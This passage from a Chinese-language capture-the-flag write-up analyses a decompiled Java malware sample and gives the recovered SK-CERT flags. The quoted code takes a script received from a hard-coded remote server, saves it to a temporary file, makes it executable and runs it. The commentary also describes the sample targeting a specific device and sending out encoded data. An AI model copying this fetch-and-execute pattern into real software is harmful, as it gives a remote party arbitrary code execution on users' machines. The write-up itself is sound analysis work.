throw new RuntimeException("System.exit returned normally, while it was supposed to halt JVM.");
}
File tmpFile = File.createTempFile("tempScript", ".sh");
try {
Intrinsics.checkNotNull(tmpFile);
FilesKt.writeText$default(tmpFile, response, null, 2, null);
tmpFile.setExecutable(true);
Process process = Runtime.getRuntime().exec(tmpFile.getAbsolutePath());
int j = process.waitFor();
} finally {
tmpFile.delete();
}
input.close();
output.close();
socket.close();
} catch (IOException iOException) {}
}
我不是很熟悉Java,但即使只看变量名,也能大致猜出这个程序的逻辑。首先,我们能看到String start_token = "U0stQ0VSVHtqNHJfZDNjMG1wX2s3fQ==";,这个变量,Base64解码后就是flag1: SK-CERT{j4r_d3c0mp_k7}
然后我们发现String serverIp = "195.168.112.4"; int serverPort = 7051;这两个变量,说明这个程序和这个端口进行了通信。接下来一段似乎有获取本地SSID和IP的逻辑,不用管它,因为后面有一个取md5和特定hash比较相等,如果要进入这个逻辑必须要满足这个条件,看起来这是一个针对特定Wifi下特定设备的定向攻击。
继续往下看,发现了一个巨大的字节数组arrayOfByte1,之后对这个数组进行了一些异或移位加密,并与之前的hash连在一起,base64编码后,向对应端口发送。虽然我手头没有Java环境,但是我可以很方便把它转成Javascript用nodejs运行,最终得到SK-CERT{k3y_f0r_c253rv3r},这就是flag2。
接下来程序读取远程输入后,创建了一个tempScript.sh的文件,设置执行权限后运行。
